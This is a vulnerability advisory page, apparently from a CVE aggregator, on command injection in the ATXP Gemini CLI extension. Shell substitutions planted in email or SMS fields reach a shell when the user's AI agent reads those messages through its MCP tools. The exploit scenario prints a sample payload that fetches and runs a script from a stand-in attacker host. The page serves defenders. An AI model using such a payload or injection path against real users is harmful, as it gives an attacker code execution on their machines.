Skip to main content

ATXP Gemini Extension EUVDEUVD-2026-110838

| CVE-2026-117560 HIGH
OS Command Injection (CWE-78)
2026-10-27 VulnCheck GHSA-w542-83fj-2ghf
8.5
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft email/SMS with $() payload
  2. Delivery
    Victim agent ingests message content
  3. Exploit
    Unsanitized param reaches runAtxp()
  4. Execution
    Shell executes injected commands
  5. Impact
    Arbitrary code execution as user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The victim must have the ATXP Gemini CLI extension (through 1.0.0) installed and must process attacker-controlled content - an email or SMS whose fields message_id, subject, or query contain shell substitutions ($() or backticks). Those parameters pass unsanitized from the MCP tool call into runAtxp(), which invokes a shell, so the injected command runs with the user's own privileges. Limiting factors: exploitation depends on the victim actively running the extension and routing the malicious message through its MCP tools; the attacker needs no account on the target but cannot trigger execution without the victim's agent ingesting the content, and code runs only at the user's privilege level with no built-in escalation. No fixed version is stated in the available data.

Impact

The input supplies a CVSS 4.0 vector scoring 8.5 (High): AV:L/AC:L/AT:N/PR:L/UI:N with full VC:H/VI:H/VA:H, i.e. arbitrary OS command execution as the running user. VulnCheck assigns a 'this_week' priority (elevated but below act_now/emergency). No CISA KEV entry and no EPSS score are provided, so there is no signal of active or probable widespread exploitation; exploitation status is 'no public exploit identified at time of analysis', though a VulnCheck advisory, a source-code reference (server.ts L28-L40) and GitHub issue #15 exist. Signals partly conflict: the official vector uses AV:L (local context) and PR:L (authenticated local operator), yet the description's mechanism is indirect - an external attacker plants $()/backtick substitutions in email or SMS content that the victim's agent later ingests, which reads more like remotely-delivered, attacker-unprivileged content processed locally. CVSS indicates a local, low-privilege vector but the description implies attacker-supplied remote content executed through the victim's agent - verify the intended threat model with the vendor. Net: technically severe (reliable code execution as the user) but tempered by a very small deployment footprint and no evidence of exploitation in the wild.

Exploit ScenarioDerived

An attacker sends the victim an email or SMS whose subject, message_id or query field embeds a shell substitution such as $(curl attacker.sh|sh) or a backtick command. When the victim runs the ATXP Gemini CLI extension (≤1.0.0) to read or search those messages via its MCP tools, the unsanitized parameter flows into runAtxp() and the shell executes the attacker's command with the user's privileges. No confirmed working exploit code is provided - only a VulnCheck advisory and a GitHub issue reference - and exploitation requires the victim to process the attacker-controlled content.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.7% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Oct 28, 2026

OS command injection in the ATXP Gemini CLI extension through 1.0.0 lets an attacker who controls email or SMS fields such as message_id, subject, or query execute shell commands through MCP tool calls, running at the victim user's privilege level. The victim must be running the extension and route the crafted message through its tools; the supplied CVSS 4.0 score is 8.5 (High), and no public exploit is identified at time of analysis, with no KEV status provided in the supplied data. No fixed version is stated in the available intelligence.

RemediationAI

No vendor-released patch or fixed version is identified in the supplied data; the VulnCheck advisory is https://www.vulncheck.com/advisories/atxp-gemini-cli-extension-through-1.0.0-os-command-injection-via-mcp-tools and the affected code path is documented in https://github.com/atxp-dev/atxp/blob/4e88b0282b51ae7c22ea1b6ca4476a39298299ff/src/server.ts#L28-L40. Until a fix is published, disable or remove the ATXP Gemini CLI extension from the Gemini CLI configuration, which removes the affected functionality. If the extension must remain enabled, do not route untrusted email or SMS content into its MCP tools; constrain message ingestion to trusted senders or a quarantined mailbox, accepting reduced automation. Run Gemini CLI and the extension under a dedicated low-privilege OS account with limited filesystem and credential access to reduce the impact of injected commands, though this does not prevent injection. As an additional compensating control, reject or escape shell metacharacter sequences such as $() and backticks in the message_id, subject, and query parameters before they reach runAtxp(), understanding that filtering may break legitimate content.

Affected VersionsENISA

gemini-cli-extension 0 ≤1.0.0

Affected Packages

euvd gemini_cli_extension no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The ATXP Gemini CLI extension integrates MCP tools into Gemini CLI, and runAtxp() in src/server.ts (referenced lines 28-40) invokes a shell with parameters supplied by those tool calls. CWE-78 applies because message_id, subject, and query are not sanitized before shell evaluation, allowing $() and backtick substitution when the agent ingests attacker-planted email or SMS content. The CPE cpe:2.3:a:atxp:gemini-cli-extension:*:*:*:*:*:*:*:* and EUVD range through 1.0.0 identify the affected package. The supplied CVSS 4.0 vector is AV:L/AC:L/AT:N/PR:L/UI:N with VC:H/VI:H/VA:H, while the independent assessment uses CVSS 3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H; both describe command execution at the user's privilege level with no built-in escalation described in the sources.

Know when Gemini Cli Extension gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 8.5 HIGH
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 7.8 HIGH

Attacker needs no account (PR:N) but the victim must run the agent over attacker content (UI:R), which is processed by a local CLI (AV:L); injection yields full code execution as the user (C/I/A:H, S:U).

3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Local
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

ATXP Gemini CLI extension through 1.0.0 contains an OS command injection vulnerability in runAtxp() that allows attackers to execute shell commands through unsanitized MCP tool parameters. Attackers can plant instructions in email or SMS content to inject $() or backtick substitutions into parameters like message_id, subject, or query, running commands as the user.

Executive ViewAI

Why It Matters

The ATXP Gemini CLI extension (versions through 1.0.0) contains a high-severity OS command injection flaw that enables an attacker who controls email or SMS fields to execute arbitrary shell commands at the victim user's privilege level. This puts developers and other personnel using the extension at risk of system compromise, potentially leading to unauthorized access to sensitive data, lateral movement, and broader organizational impact. Leadership should prioritize remediation because the tool is used in day-to-day operations and exploitation could go undetected; no public exploit is identified at time of analysis.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: uninstall or disable the ATXP Gemini CLI extension on all systems; restrict the extension's ability to make outbound network connections and execute shell commands via application control or endpoint detection and response (EDR) policies; enforce strict input validation and sanitization for email/SMS fields if the extension must remain in use; monitor logs for suspicious command execution and MCP tool calls.

Threat Intelligence Overview

EPSS Score
0.7%
Top 49% exploitable
Prevalence
Rare
nascent niche AI CLI extension at v1.0.0, minimal production footprint
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.7%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Defer
Exploitation· derived
None
System Exposure· derived
Small
Automatable· derived
No
Human Impact
High

Priority Score

43
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +42
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy